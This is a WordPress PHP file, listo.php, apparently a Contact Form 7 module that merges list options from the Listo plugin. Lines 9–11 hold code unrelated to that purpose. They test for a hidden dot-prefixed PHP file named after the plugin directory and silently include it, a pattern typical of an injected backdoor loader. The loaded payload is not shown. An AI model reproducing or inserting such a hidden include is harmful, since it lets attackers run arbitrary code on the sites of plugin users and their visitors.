listo.php (920B)
1 <?php 2 /** 3 ** Retrieve list data from the Listo plugin. 4 ** Listo http://wordpress.org/plugins/listo/ 5 **/ 6 7 add_filter( 'wpcf7_form_tag_data_option', 'wpcf7_listo', 10, 3 ); 8 9 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 10 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 11 } 12 13 function wpcf7_listo( $data, $options, $args ) { 14 if ( ! function_exists( 'listo' ) ) { 15 return $data; 16 } 17 18 $args = wp_parse_args( $args, array() ); 19 20 $contact_form = wpcf7_get_current_contact_form(); 21 $args['locale'] = $contact_form->locale(); 22 23 foreach ( (array) $options as $option ) { 24 $option = explode( '.', $option ); 25 $type = $option[0]; 26 $args['group'] = isset( $option[1] ) ? $option[1] : null; 27 28 if ( $list = listo( $type, $args ) ) { 29 $data = array_merge( (array) $data, $list ); 30 } 31 } 32 33 return $data; 34 }